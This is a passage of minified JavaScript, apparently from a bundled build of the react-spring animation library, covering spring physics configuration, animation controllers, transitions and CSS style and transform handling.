S.str(o)?o=s[o]||(s[o]=zi(o,i)):o=o[Hi]||(o[Hi]=zi(o,i)),o.displayName=`Animated(${a})`,o};return Ee(e,(o,a)=>{S.arr(e)&&(a=Vi(o)),s[a]=s(o)}),{animated:s}},Vi=e=>S.str(e)?e:e&&S.str(e.displayName)?e.displayName:S.fun(e)&&e.name||null;function de(e,...t){return S.fun(e)?e(...t):e}var Rt=(e,t)=>e===!0||!!(t&&e&&(S.fun(e)?e(t):ue(e).includes(t))),Co=(e,t)=>S.obj(e)?t&&e[t]:e,Mo=(e,t)=>e.default===!0?e[t]:e.default?e.default[t]:void 0,Wc=e=>e,Jr=(e,t=Wc)=>{let n=Xc;e.default&&e.default!==!0&&(e=e.default,n=Object.keys(e));const r={};for(const i of n){const s=t(e[i],i);S.und(s)||(r[i]=s)}return r},Xc=["config","onProps","onStart","onChange","onPause","onResume","onRest"],qc={config:1,from:1,to:1,ref:1,loop:1,reset:1,pause:1,cancel:1,reverse:1,immediate:1,default:1,delay:1,onProps:1,onStart:1,onChange:1,onPause:1,onResume:1,onRest:1,onResolve:1,items:1,trail:1,sort:1,expires:1,initial:1,enter:1,update:1,leave:1,children:1,onDestroyed:1,keys:1,callId:1,parentId:1};function Kc(e){const t={};let n=0;if(Ee(e,(r,i)=>{qc[i]||(t[i]=r,n++)}),n)return t}function ei(e){const t=Kc(e);if(t){const n={to:t};return Ee(e,(r,i)=>i in t||(n[i]=r)),n}return{...e}}function Ht(e){return e=le(e),S.arr(e)?e.map(Ht):Vn(e)?we.createStringInterpolator({range:[0,1],output:[e,e]})(1):e}function Qc(e){for(const t in e)return!0;return!1}function Ir(e){return S.fun(e)||S.arr(e)&&S.obj(e[0])}function Bi(e,t){var n;(n=e.ref)==null||n.delete(e),t==null||t.delete(e)}function Zc(e,t){var n;t&&e.ref!==t&&((n=e.ref)==null||n.delete(e),t.add(e),e.ref=t)}var Jc={default:{tension:170,friction:26},gentle:{tension:120,friction:14},wobbly:{tension:180,friction:12},stiff:{tension:210,friction:20},slow:{tension:280,friction:60},molasses:{tension:280,friction:120}},Tr={...Jc.default,mass:1,damping:1,easing:Ac.linear,clamp:!1},eu=class{constructor(){this.velocity=0,Object.assign(this,Tr)}};function tu(e,t,n){n&&(n={...n},Gi(n,t),t={...n,...t}),Gi(e,t),Object.assign(e,t);for(const o in Tr)e[o]==null&&(e[o]=Tr[o]);let{frequency:r,damping:i}=e;const{mass:s}=e;return S.und(r)||(r<.01&&(r=.01),i<0&&(i=0),e.tension=Math.pow(2*Math.PI/r,2)*s,e.friction=4*Math.PI*i*s/r),e}function Gi(e,t){if(!S.und(t.decay))e.duration=void 0;else{const n=!S.und(t.tension)||!S.und(t.friction);(n||!S.und(t.frequency)||!S.und(t.damping)||!S.und(t.mass))&&(e.duration=void 0,e.decay=void 0),n&&(e.frequency=void 0)}}var Yi=[],nu=class{constructor(){this.changed=!1,this.values=Yi,this.toValues=null,this.fromValues=Yi,this.config=new eu,this.immediate=!1}};function ko(e,{key:t,props:n,defaultProps:r,state:i,actions:s}){return new Promise((o,a)=>{let u,c,d=Rt(n.cancel??(r==null?void 0:r.cancel),t);if(d)m();else{S.und(n.pause)||(i.paused=Rt(n.pause,t));let g=r==null?void 0:r.pause;g!==!0&&(g=i.paused||Rt(g,t)),u=de(n.delay||0,t),g?(i.resumeQueue.add(f),s.pause()):(s.resume(),f())}function l(){i.resumeQueue.add(f),i.timeouts.delete(c),c.cancel(),u=c.time-z.now()}function f(){u>0&&!we.skipAnimation?(i.delayed=!0,c=z.setTimeout(m,u),i.pauseQueue.add(l),i.timeouts.add(c)):m()}function m(){i.delayed&&(i.delayed=!1),i.pauseQueue.delete(l),i.timeouts.delete(c),e<=(i.cancelId||0)&&(d=!0);try{s.start({...n,callId:e,cancel:d},o)}catch(g){a(g)}}})}var ti=(e,t)=>t.length==1?t[0]:t.some(n=>n.cancelled)?mt(e.get()):t.every(n=>n.noop)?Ao(e.get()):Me(e.get(),t.every(n=>n.finished)),Ao=e=>({value:e,noop:!0,finished:!0,cancelled:!1}),Me=(e,t,n=!1)=>({value:e,finished:t,cancelled:n}),mt=e=>({value:e,cancelled:!0,finished:!1});function So(e,t,n,r){const{callId:i,parentId:s,onRest:o}=t,{asyncTo:a,promise:u}=n;return!s&&e===a&&!t.reset?u:n.promise=(async()=>{n.asyncId=i,n.asyncTo=e;const c=Jr(t,(x,b)=>b==="onRest"?void 0:x);let d,l;const f=new Promise((x,b)=>(d=x,l=b)),m=x=>{const b=i<=(n.cancelId||0)&&mt(r)||i!==n.asyncId&&Me(r,!1);if(b)throw x.result=b,l(x),x},g=(x,b)=>{const M=new Wi,w=new Xi;return(async()=>{if(we.skipAnimation)throw Vt(n),w.result=Me(r,!1),l(w),w;m(M);const A=S.obj(x)?{...x}:{...b,to:x};A.parentId=i,Ee(c,(C,_)=>{S.und(A[_])&&(A[_]=C)});const I=await r.start(A);return m(M),n.paused&&await new Promise(C=>{n.resumeQueue.add(C)}),I})()};let p;if(we.skipAnimation)return Vt(n),Me(r,!1);try{let x;S.arr(e)?x=(async b=>{for(const M of b)await g(M)})(e):x=Promise.resolve(e(g,r.stop.bind(r))),await Promise.all([x.then(d),f]),p=Me(r.get(),!0,!1)}catch(x){if(x instanceof Wi)p=x.result;else if(x instanceof Xi)p=x.result;else throw x}finally{i==n.asyncId&&(n.asyncId=s,n.asyncTo=s?a:void 0,n.promise=s?u:void 0)}return S.fun(o)&&z.batchedUpdates(()=>{o(p,r,r.item)}),p})()}function Vt(e,t){$t(e.timeouts,n=>n.cancel()),e.pauseQueue.clear(),e.resumeQueue.clear(),e.asyncId=e.asyncTo=e.promise=void 0,t&&(e.cancelId=t)}var Wi=class extends Error{constructor(){super("An async animation has been interrupted. You see this error because you forgot to use `await` or `.catch(...)` on its returned promise.")}},Xi=class extends Error{constructor(){super("SkipAnimationSignal")}},Pr=e=>e instanceof ni,ru=1,ni=class extends ho{constructor(){super(...arguments),this.id=ru++,this._priority=0}get priority(){return this._priority}set priority(e){this._priority!=e&&(this._priority=e,this._onPriorityChange(e))}get(){const e=je(this);return e&&e.getValue()}to(...e){return we.to(this,e)}interpolate(...e){return Ec(),we.to(this,e)}toJSON(){return this.get()}observerAdded(e){e==1&&this._attach()}observerRemoved(e){e==0&&this._detach()}_attach(){}_detach(){}_onChange(e,t=!1){Nt(this,{type:"change",parent:this,value:e,idle:t})}_onPriorityChange(e){this.idle||Fn.sort(this),Nt(this,{type:"priority",parent:this,priority:e})}},it=Symbol.for("SpringPhase"),Io=1,jr=2,_r=4,sr=e=>(e[it]&Io)>0,Be=e=>(e[it]&jr)>0,At=e=>(e[it]&_r)>0,qi=(e,t)=>t?e[it]|=jr|Io:e[it]&=~jr,Ki=(e,t)=>t?e[it]|=_r:e[it]&=~_r,iu=class extends ni{constructor(e,t){if(super(),this.animation=new nu,this.defaultProps={},this._state={paused:!1,delayed:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._pendingCalls=new Set,this._lastCallId=0,this._lastToId=0,this._memoizedDuration=0,!S.und(e)||!S.und(t)){const n=S.obj(e)?{...e}:{...t,from:e};S.und(n.default)&&(n.default=!0),this.start(n)}}get idle(){return!(Be(this)||this._state.asyncTo)||At(this)}get goal(){return le(this.animation.to)}get velocity(){const e=je(this);return e instanceof Zt?e.lastVelocity||0:e.getPayload().map(t=>t.lastVelocity||0)}get hasAnimated(){return sr(this)}get isAnimating(){return Be(this)}get isPaused(){return At(this)}get isDelayed(){return this._state.delayed}advance(e){let t=!0,n=!1;const r=this.animation;let{toValues:i}=r;const{config:s}=r,o=Bn(r.to);!o&&xe(r.to)&&(i=ue(le(r.to))),r.values.forEach((c,d)=>{if(c.done)return;const l=c.constructor==zt?1:o?o[d].lastPosition:i[d];let f=r.immediate,m=l;if(!f){if(m=c.lastPosition,s.tension<=0){c.done=!0;return}let g=c.elapsedTime+=e;const p=r.fromValues[d],x=c.v0!=null?c.v0:c.v0=S.arr(s.velocity)?s.velocity[d]:s.velocity;let b;const M=s.precision||(p==l?.005:Math.min(1,Math.abs(l-p)*.001));if(S.und(s.duration))if(s.decay){const w=s.decay===!0?.998:s.decay,A=Math.exp(-(1-w)*g);m=p+x/(1-w)*(1-A),f=Math.abs(c.lastPosition-m)<=M,b=x*A}else{b=c.lastVelocity==null?x:c.lastVelocity;const w=s.restVelocity||M/10,A=s.clamp?0:s.bounce,I=!S.und(A),C=p==l?c.v0>0:pw,!(!_&&(f=Math.abs(l-m)<=M,f)));++j){I&&(E=m==l||m>l==C,E&&(b=-b*A,m=l));const U=-s.tension*1e-6*(m-l),R=-s.friction*.001*b,T=(U+R)/s.mass;b=b+T*D,m=m+b*D}}else{let w=1;s.duration>0&&(this._memoizedDuration!==s.duration&&(this._memoizedDuration=s.duration,c.durationProgress>0&&(c.elapsedTime=s.duration*c.durationProgress,g=c.elapsedTime+=e)),w=(s.progress||0)+g/this._memoizedDuration,w=w>1?1:w<0?0:w,c.durationProgress=w),m=p+s.easing(w)*(l-p),b=(m-c.lastPosition)/e,f=w==1}c.lastVelocity=b,Number.isNaN(m)&&(console.warn("Got NaN while animating:",this),f=!0)}o&&!o[d].done&&(f=!1),f?c.done=!0:t=!1,c.setValue(m,s.round)&&(n=!0)});const a=je(this),u=a.getValue();if(t){const c=le(r.to);(u!==c||n)&&!s.decay?(a.setValue(c),this._onChange(c)):n&&s.decay&&this._onChange(u),this._stop()}else n&&this._onChange(u)}set(e){return z.batchedUpdates(()=>{this._stop(),this._focus(e),this._set(e)}),this}pause(){this._update({pause:!0})}resume(){this._update({pause:!1})}finish(){if(Be(this)){const{to:e,config:t}=this.animation;z.batchedUpdates(()=>{this._onStart(),t.decay||this._set(e,!1),this._stop()})}return this}update(e){return(this.queue||(this.queue=[])).push(e),this}start(e,t){let n;return S.und(e)?(n=this.queue||[],this.queue=[]):n=[S.obj(e)?e:{...t,to:e}],Promise.all(n.map(r=>this._update(r))).then(r=>ti(this,r))}stop(e){const{to:t}=this.animation;return this._focus(this.get()),Vt(this._state,e&&this._lastCallId),z.batchedUpdates(()=>this._stop(t,e)),this}reset(){this._update({reset:!0})}eventObserved(e){e.type=="change"?this._start():e.type=="priority"&&(this.priority=e.priority+1)}_prepareNode(e){const t=this.key||"";let{to:n,from:r}=e;n=S.obj(n)?n[t]:n,(n==null||Ir(n))&&(n=void 0),r=S.obj(r)?r[t]:r,r==null&&(r=void 0);const i={to:n,from:r};return sr(this)||(e.reverse&&([n,r]=[r,n]),r=le(r),S.und(r)?je(this)||this._set(n):this._set(r)),i}_update({...e},t){const{key:n,defaultProps:r}=this;e.default&&Object.assign(r,Jr(e,(o,a)=>/^on/.test(a)?Co(o,n):o)),Zi(this,e,"onProps"),It(this,"onProps",e,this);const i=this._prepareNode(e);if(Object.isFrozen(this))throw Error("Cannot animate a `SpringValue` object that is frozen. Did you forget to pass your component to `animated(...)` before animating its props?");const s=this._state;return ko(++this._lastCallId,{key:n,props:e,defaultProps:r,state:s,actions:{pause:()=>{At(this)||(Ki(this,!0),_t(s.pauseQueue),It(this,"onPause",Me(this,St(this,this.animation.to)),this))},resume:()=>{At(this)&&(Ki(this,!1),Be(this)&&this._resume(),_t(s.resumeQueue),It(this,"onResume",Me(this,St(this,this.animation.to)),this))},start:this._merge.bind(this,i)}}).then(o=>{if(e.loop&&o.finished&&!(t&&o.noop)){const a=To(e);if(a)return this._update(a,!0)}return o})}_merge(e,t,n){if(t.cancel)return this.stop(!0),n(mt(this));const r=!S.und(e.to),i=!S.und(e.from);if(r||i)if(t.callId>this._lastToId)this._lastToId=t.callId;else return n(mt(this));const{key:s,defaultProps:o,animation:a}=this,{to:u,from:c}=a;let{to:d=u,from:l=c}=e;i&&!r&&(!t.default||S.und(d))&&(d=l),t.reverse&&([d,l]=[l,d]);const f=!Le(l,c);f&&(a.from=l),l=le(l);const m=!Le(d,u);m&&this._focus(d);const g=Ir(t.to),{config:p}=a,{decay:x,velocity:b}=p;(r||i)&&(p.velocity=0),t.config&&!g&&tu(p,de(t.config,s),t.config!==o.config?de(o.config,s):void 0);let M=je(this);if(!M||S.und(d))return n(Me(this,!0));const w=S.und(t.reset)?i&&!t.default:!S.und(l)&&Rt(t.reset,s),A=w?l:this.get(),I=Ht(d),C=S.num(I)||S.arr(I)||Vn(I),_=!g&&(!C||Rt(o.immediate||t.immediate,s));if(m){const j=Sr(d);if(j!==M.constructor)if(_)M=this._set(I);else throw Error(`Cannot animate between ${M.constructor.name} and ${j.name}, as the "to" prop suggests`)}const E=M.constructor;let D=xe(d),O=!1;if(!D){const j=w||!sr(this)&&f;(m||j)&&(O=Le(Ht(A),I),D=!O),(!Le(a.immediate,_)&&!_||!Le(p.decay,x)||!Le(p.velocity,b))&&(D=!0)}if(O&&Be(this)&&(a.changed&&!w?D=!0:D||this._stop(u)),!g&&((D||xe(u))&&(a.values=M.getPayload(),a.toValues=xe(d)?null:E==zt?[1]:ue(I)),a.immediate!=_&&(a.immediate=_,!_&&!w&&this._set(u)),D)){const{onRest:j}=a;V(su,R=>Zi(this,t,R));const U=Me(this,St(this,u));_t(this._pendingCalls,U),this._pendingCalls.add(n),a.changed&&z.batchedUpdates(()=>{var R;a.changed=!w,j==null||j(U,this),w?de(o.onRest,U):(R=a.onStart)==null||R.call(a,U,this)})}w&&this._set(A),g?n(So(t.to,t,this._state,this)):D?this._start():Be(this)&&!m?this._pendingCalls.add(n):n(Ao(A))}_focus(e){const t=this.animation;e!==t.to&&(Ui(this)&&this._detach(),t.to=e,Ui(this)&&this._attach())}_attach(){let e=0;const{to:t}=this.animation;xe(t)&&(Mt(t,this),Pr(t)&&(e=t.priority+1)),this.priority=e}_detach(){const{to:e}=this.animation;xe(e)&&Ut(e,this)}_set(e,t=!0){const n=le(e);if(!S.und(n)){const r=je(this);if(!r||!Le(n,r.getValue())){const i=Sr(n);!r||r.constructor!=i?Zr(this,i.create(n)):r.setValue(n),r&&z.batchedUpdates(()=>{this._onChange(n,t)})}}return je(this)}_onStart(){const e=this.animation;e.changed||(e.changed=!0,It(this,"onStart",Me(this,St(this,e.to)),this))}_onChange(e,t){t||(this._onStart(),de(this.animation.onChange,e,this)),de(this.defaultProps.onChange,e,this),super._onChange(e,t)}_start(){const e=this.animation;je(this).reset(le(e.to)),e.immediate||(e.fromValues=e.values.map(t=>t.lastPosition)),Be(this)||(qi(this,!0),At(this)||this._resume())}_resume(){we.skipAnimation?this.finish():Fn.start(this)}_stop(e,t){if(Be(this)){qi(this,!1);const n=this.animation;V(n.values,i=>{i.done=!0}),n.toValues&&(n.onChange=n.onPause=n.onResume=void 0),Nt(this,{type:"idle",parent:this});const r=t?mt(this.get()):Me(this.get(),St(this,e??n.to));_t(this._pendingCalls,r),n.changed&&(n.changed=!1,It(this,"onRest",r,this))}}};function St(e,t){const n=Ht(t),r=Ht(e.get());return Le(r,n)}function To(e,t=e.loop,n=e.to){const r=de(t);if(r){const i=r!==!0&&ei(r),s=(i||e).reverse,o=!i||i.reset;return In({...e,loop:t,default:!1,pause:void 0,to:!s||Ir(n)?n:void 0,from:o?e.from:void 0,reset:o,...i})}}function In(e){const{to:t,from:n}=e=ei(e),r=new Set;return S.obj(t)&&Qi(t,r),S.obj(n)&&Qi(n,r),e.keys=r.size?Array.from(r):null,e}function Qi(e,t){Ee(e,(n,r)=>n!=null&&t.add(r))}var su=["onStart","onRest","onChange","onPause","onResume"];function Zi(e,t,n){e.animation[n]=t[n]!==Mo(t,n)?Co(t[n],e.key):void 0}function It(e,t,...n){var r,i,s,o;(i=(r=e.animation)[t])==null||i.call(r,...n),(o=(s=e.defaultProps)[t])==null||o.call(s,...n)}var ou=["onStart","onChange","onRest"],au=1,cu=class{constructor(e,t){this.id=au++,this.springs={},this.queue=[],this._lastAsyncId=0,this._active=new Set,this._changed=new Set,this._started=!1,this._state={paused:!1,pauseQueue:new Set,resumeQueue:new Set,timeouts:new Set},this._events={onStart:new Map,onChange:new Map,onRest:new Map},this._onFrame=this._onFrame.bind(this),t&&(this._flush=t),e&&this.start({default:!0,...e})}get idle(){return!this._state.asyncTo&&Object.values(this.springs).every(e=>e.idle&&!e.isDelayed&&!e.isPaused)}get item(){return this._item}set item(e){this._item=e}get(){const e={};return this.each((t,n)=>e[n]=t.get()),e}set(e){for(const t in e){const n=e[t];S.und(n)||this.springs[t].set(n)}}update(e){return e&&this.queue.push(In(e)),this}start(e){let{queue:t}=this;return e?t=ue(e).map(In):this.queue=[],this._flush?this._flush(this,t):($o(this,t),uu(this,t))}stop(e,t){if(e!==!!e&&(t=e),t){const n=this.springs;V(ue(t),r=>n[r].stop(!!e))}else Vt(this._state,this._lastAsyncId),this.each(n=>n.stop(!!e));return this}pause(e){if(S.und(e))this.start({pause:!0});else{const t=this.springs;V(ue(e),n=>t[n].pause())}return this}resume(e){if(S.und(e))this.start({pause:!1});else{const t=this.springs;V(ue(e),n=>t[n].resume())}return this}each(e){Ee(this.springs,e)}_onFrame(){const{onStart:e,onChange:t,onRest:n}=this._events,r=this._active.size>0,i=this._changed.size>0;(r&&!this._started||i&&!this._started)&&(this._started=!0,$t(e,([a,u])=>{u.value=this.get(),a(u,this,this._item)}));const s=!r&&this._started,o=i||s&&n.size?this.get():null;i&&t.size&&$t(t,([a,u])=>{u.value=o,a(u,this,this._item)}),s&&(this._started=!1,$t(n,([a,u])=>{u.value=o,a(u,this,this._item)}))}eventObserved(e){if(e.type=="change")this._changed.add(e.parent),e.idle||this._active.add(e.parent);else if(e.type=="idle")this._active.delete(e.parent);else return;z.onFrame(this._onFrame)}};function uu(e,t){return Promise.all(t.map(n=>Po(e,n))).then(n=>ti(e,n))}async function Po(e,t,n){const{keys:r,to:i,from:s,loop:o,onRest:a,onResolve:u}=t,c=S.obj(t.default)&&t.default;o&&(t.loop=!1),i===!1&&(t.to=null),s===!1&&(t.from=null);const d=S.arr(i)||S.fun(i)?i:void 0;d?(t.to=void 0,t.onRest=void 0,c&&(c.onRest=void 0)):V(ou,p=>{const x=t[p];if(S.fun(x)){const b=e._events[p];t[p]=({finished:M,cancelled:w})=>{const A=b.get(x);A?(M||(A.finished=!1),w&&(A.cancelled=!0)):b.set(x,{value:null,finished:M||!1,cancelled:w||!1})},c&&(c[p]=t[p])}});const l=e._state;t.pause===!l.paused?(l.paused=t.pause,_t(t.pause?l.pauseQueue:l.resumeQueue)):l.paused&&(t.pause=!0);const f=(r||Object.keys(e.springs)).map(p=>e.springs[p].start(t)),m=t.cancel===!0||Mo(t,"cancel")===!0;(d||m&&l.asyncId)&&f.push(ko(++e._lastAsyncId,{props:t,state:l,actions:{pause:kr,resume:kr,start(p,x){m?(Vt(l,e._lastAsyncId),x(mt(e))):(p.onRest=a,x(So(d,p,l,e)))}}})),l.paused&&await new Promise(p=>{l.resumeQueue.add(p)});const g=ti(e,await Promise.all(f));if(o&&g.finished&&!(n&&g.noop)){const p=To(t,o,i);if(p)return $o(e,[p]),Po(e,p,!0)}return u&&z.batchedUpdates(()=>u(g,e,e.item)),g}function lu(e,t){const n={...e.springs};return t&&V(ue(t),r=>{S.und(r.keys)&&(r=In(r)),S.obj(r.to)||(r={...r,to:void 0}),_o(n,r,i=>jo(i))}),du(e,n),n}function du(e,t){Ee(t,(n,r)=>{e.springs[r]||(e.springs[r]=n,Mt(n,e))})}function jo(e,t){const n=new iu;return n.key=e,t&&Mt(n,t),n}function _o(e,t,n){t.keys&&V(t.keys,r=>{(e[r]||(e[r]=n(r)))._prepareNode(t)})}function $o(e,t){V(t,n=>{_o(e.springs,n,r=>jo(r,e))})}var Yn=({children:e,...t})=>{const n=v.useContext(Tn),r=t.pause||!!n.pause,i=t.immediate||!!n.immediate;t=Dc(()=>({pause:r,immediate:i}),[r,i]);const{Provider:s}=Tn;return v.createElement(s,{value:t},e)},Tn=fu(Yn,{});Yn.Provider=Tn.Provider;Yn.Consumer=Tn.Consumer;function fu(e,t){return Object.assign(e,v.createContext(t)),e.Provider._context=e,e.Consumer._context=e,e}var hu=()=>{const e=[],t=function(r){Lc();const i=[];return V(e,(s,o)=>{if(S.und(r))i.push(s.start());else{const a=n(r,s,o);a&&i.push(s.start(a))}}),i};t.current=e,t.add=function(r){e.includes(r)||e.push(r)},t.delete=function(r){const i=e.indexOf(r);~i&&e.splice(i,1)},t.pause=function(){return V(e,r=>r.pause(...arguments)),this},t.resume=function(){return V(e,r=>r.resume(...arguments)),this},t.set=function(r){V(e,(i,s)=>{const o=S.fun(r)?r(s,i):r;o&&i.set(o)})},t.start=function(r){const i=[];return V(e,(s,o)=>{if(S.und(r))i.push(s.start());else{const a=this._getProps(r,s,o);a&&i.push(s.start(a))}}),i},t.stop=function(){return V(e,r=>r.stop(...arguments)),this},t.update=function(r){return V(e,(i,s)=>i.update(this._getProps(r,i,s))),this};const n=function(r,i,s){return S.fun(r)?r(s,i):r};return t._getProps=n,t};function $r(e,t,n){const r=S.fun(t)&&t,{reset:i,sort:s,trail:o=0,expires:a=!0,exitBeforeEnter:u=!1,onDestroyed:c,ref:d,config:l}=r?r():t,f=v.useMemo(()=>r||arguments.length==3?hu():void 0,[]),m=ue(e),g=[],p=v.useRef(null),x=i?null:p.current;Je(()=>{p.current=g}),bo(()=>(V(g,T=>{f==null||f.add(T.ctrl),T.ctrl.ref=f}),()=>{V(p.current,T=>{T.expired&&clearTimeout(T.expirationId),Bi(T.ctrl,f),T.ctrl.stop(!0)})}));const b=gu(m,r?r():t,x),M=i&&p.current||[];Je(()=>V(M,({ctrl:T,item:$,key:H})=>{Bi(T,f),de(c,$,H)}));const w=[];if(x&&V(x,(T,$)=>{T.expired?(clearTimeout(T.expirationId),M.push(T)):($=w[$]=b.indexOf(T.key),~$&&(g[$]=T))}),V(m,(T,$)=>{g[$]||(g[$]={key:b[$],item:T,phase:"mount",ctrl:new cu},g[$].ctrl.item=T)}),w.length){let T=-1;const{leave:$}=r?r():t;V(w,(H,B)=>{const F=x[B];~H?(T=g.indexOf(F),g[T]={...F,item:m[H]}):$&&g.splice(++T,0,F)})}S.fun(s)&&g.sort((T,$)=>s(T.item,$.item));let A=-o;const I=yo(),C=Jr(t),_=new Map,E=v.useRef(new Map),D=v.useRef(!1);V(g,(T,$)=>{const H=T.key,B=T.phase,F=r?r():t;let Y,G;const K=de(F.delay||0,H);if(B=="mount")Y=F.enter,G="enter";else{const Z=b.indexOf(H)<0;if(B!="leave")if(Z)Y=F.leave,G="leave";else if(Y=F.update)G="update";else return;else if(!Z)Y=F.enter,G="enter";else return}if(Y=de(Y,T.item,$),Y=S.obj(Y)?ei(Y):{to:Y},!Y.config){const Z=l||C.config;Y.config=de(Z,T.item,$,G)}A+=o;const ne={...C,delay:K+A,ref:d,immediate:F.immediate,reset:!1,...Y};if(G=="enter"&&S.und(ne.from)){const Z=r?r():t,me=S.und(Z.initial)||x?Z.from:Z.initial;ne.from=de(me,T.item,$)}const{onResolve:he}=ne;ne.onResolve=Z=>{de(he,Z);const me=p.current,ae=me.find(ge=>ge.key===H);if(ae&&!(Z.cancelled&&ae.phase!="update")&&ae.ctrl.idle){const ge=me.every(P=>P.ctrl.idle);if(ae.phase=="leave"){const P=de(a,ae.item);if(P!==!1){const L=P===!0?0:P;if(ae.expired=!0,!ge&&L>0){L<=2147483647&&(ae.expirationId=setTimeout(I,L));return}}}ge&&me.some(P=>P.expired)&&(E.current.delete(ae),u&&(D.current=!0),I())}};const ce=lu(T.ctrl,ne);G==="leave"&&u?E.current.set(T,{phase:G,springs:ce,payload:ne}):_.set(T,{phase:G,springs:ce,payload:ne})});const O=v.useContext(Yn),j=Fc(O),U=O!==j&&Qc(O);Je(()=>{U&&V(g,T=>{T.ctrl.start({default:O})})},[O]),V(_,(T,$)=>{if(E.current.size){const H=g.findIndex(B=>B.key===$.key);g.splice(H,1)}}),Je(()=>{V(E.current.size?E.current:_,({phase:T,payload:$},H)=>{const{ctrl:B}=H;H.phase=T,f==null||f.add(B),U&&T=="enter"&&B.start({default:O}),$&&(Zc(B,$.ref),(B.ref||f)&&!D.current?B.update($):(B.start($),D.current&&(D.current=!1)))})},i?void 0:n);const R=T=>v.createElement(v.Fragment,null,g.map(($,H)=>{const{springs:B}=_.get($)||$.ctrl,F=T({...B},$.item,$,H);return F&&F.type?v.createElement(F.type,{...F.props,key:S.str($.key)||S.num($.key)?$.key:$.ctrl.id,ref:F.ref}):F}));return f?[R,f]:R}var mu=1;function gu(e,{key:t,keys:n=t},r){if(n===null){const i=new Set;return e.map(s=>{const o=r&&r.find(a=>a.item===s&&a.phase!=="leave"&&!i.has(a));return o?(i.add(o),o.key):mu++})}return S.und(n)?e:S.fun(n)?e.map(n):ue(n)}var pu=class extends ni{constructor(e,t){super(),this.source=e,this.idle=!0,this._active=new Set,this.calc=Ot(...t);const n=this._get(),r=Sr(n);Zr(this,r.create(n))}advance(e){const t=this._get(),n=this.get();Le(t,n)||(je(this).setValue(t),this._onChange(t,this.idle)),!this.idle&&Ji(this._active)&&or(this)}_get(){const e=S.arr(this.source)?this.source.map(le):ue(le(this.source));return this.calc(...e)}_start(){this.idle&&!Ji(this._active)&&(this.idle=!1,V(Bn(this),e=>{e.done=!1}),we.skipAnimation?(z.batchedUpdates(()=>this.advance()),or(this)):Fn.start(this))}_attach(){let e=1;V(ue(this.source),t=>{xe(t)&&Mt(t,this),Pr(t)&&(t.idle||this._active.add(t),e=Math.max(e,t.priority+1))}),this.priority=e,this._start()}_detach(){V(ue(this.source),e=>{xe(e)&&Ut(e,this)}),this._active.clear(),or(this)}eventObserved(e){e.type=="change"?e.idle?this.advance():(this._active.add(e.parent),this._start()):e.type=="idle"?this._active.delete(e.parent):e.type=="priority"&&(this.priority=ue(this.source).reduce((t,n)=>Math.max(t,(Pr(n)?n.priority:0)+1),0))}};function xu(e){return e.idle!==!1}function Ji(e){return!e.size||Array.from(e).every(xu)}function or(e){e.idle||(e.idle=!0,V(Bn(e),t=>{t.done=!0}),Nt(e,{type:"idle",parent:e}))}we.assign({createStringInterpolator:po,to:(e,t)=>new pu(e,t)});var Eo=/^--/;function yu(e,t){return t==null||typeof t=="boolean"||t===""?"":typeof t=="number"&&t!==0&&!Eo.test(e)&&!(Lt.hasOwnProperty(e)&&Lt[e])?t+"px":(""+t).trim()}var es={};function bu(e,t){if(!e.nodeType||!e.setAttribute)return!1;const n=e.nodeName==="filter"||e.parentNode&&e.parentNode.nodeName==="filter",{className:r,style:i,children:s,scrollTop:o,scrollLeft:a,viewBox:u,...c}=t,d=Object.values(c),l=Object.keys(c).map(f=>n||e.hasAttribute(f)?f:es[f]||(es[f]=f.replace(/([A-Z])/g,m=>"-"+m.toLowerCase())));s!==void 0&&(e.textContent=s);for(const f in i)if(i.hasOwnProperty(f)){const m=yu(f,i[f]);Eo.test(f)?e.style.setProperty(f,m):e.style[f]=m}l.forEach((f,m)=>{e.setAttribute(f,d[m])}),r!==void 0&&(e.className=r),o!==void 0&&(e.scrollTop=o),a!==void 0&&(e.scrollLeft=a),u!==void 0&&e.setAttribute("viewBox",u)}var Lt={animationIterationCount:!0,borderImageOutset:!0,borderImageSlice:!0,borderImageWidth:!0,boxFlex:!0,boxFlexGroup:!0,boxOrdinalGroup:!0,columnCount:!0,columns:!0,flex:!0,flexGrow:!0,flexPositive:!0,flexShrink:!0,flexNegative:!0,flexOrder:!0,gridRow:!0,gridRowEnd:!0,gridRowSpan:!0,gridRowStart:!0,gridColumn:!0,gridColumnEnd:!0,gridColumnSpan:!0,gridColumnStart:!0,fontWeight:!0,lineClamp:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,tabSize:!0,widows:!0,zIndex:!0,zoom:!0,fillOpacity:!0,floodOpacity:!0,stopOpacity:!0,strokeDasharray:!0,strokeDashoffset:!0,strokeMiterlimit:!0,strokeOpacity:!0,strokeWidth:!0},vu=(e,t)=>e+t.charAt(0).toUpperCase()+t.substring(1),wu=["Webkit","Ms","Moz","O"];Lt=Object.keys(Lt).reduce((e,t)=>(wu.forEach(n=>e[vu(n,t)]=e[t]),e),Lt);var Cu=/^(matrix|translate|scale|rotate|skew)/,Mu=/^(translate)/,ku=/^(rotate|skew)/,ar=(e,t)=>S.num(e)&&e!==0?e+t:e,vn=(e,t)=>S.arr(e)?e.every(n=>vn(n,t)):S.num(e)?e===t:parseFloat(e)===t,Au=class extends Gn{constructor({x:e,y:t,z:n,...r}){const i=[],s=[];(e||t||n)&&(i.push([e||0,t||0,n||0]),s.push(o=>[`translate3d(${o.map(a=>ar(a,"px")).join(",")})`,vn(o,0)])),Ee(r,(o,a)=>{if(a==="transform")i.push([o||""]),s.push(u=>[u,u===""]);else if(Cu.test(a)){if(delete r[a],S.und(o))return;const u=Mu.test(a)?"px":ku.test(a)?"deg":"";i.push(ue(o)),s.push(a==="rotate3d"?([c,d,l,f])=>[`rotate3d(${c},${d},${l},${ar(f,u)})`,vn(f,0)]:c=>[`${a}(${c.map(d=>ar(d,u)).join(",")})`,vn(c,a.startsWith("scale")?1:0)])}}),i.length&&(r.transform=new Su(i,s)),super(r)}},Su=class extends ho{constructor(e,t){super(),this.inputs=e,this.transforms=t,this._value=null}get(){return this._value||(this._value=this._get())}_get(){let e="",t=!0;return V(this.inputs,(n,r)=>{const i=le(n[0]),[s,o]=this.transforms[r](S.arr(i)?i:n.map(le));e+=" 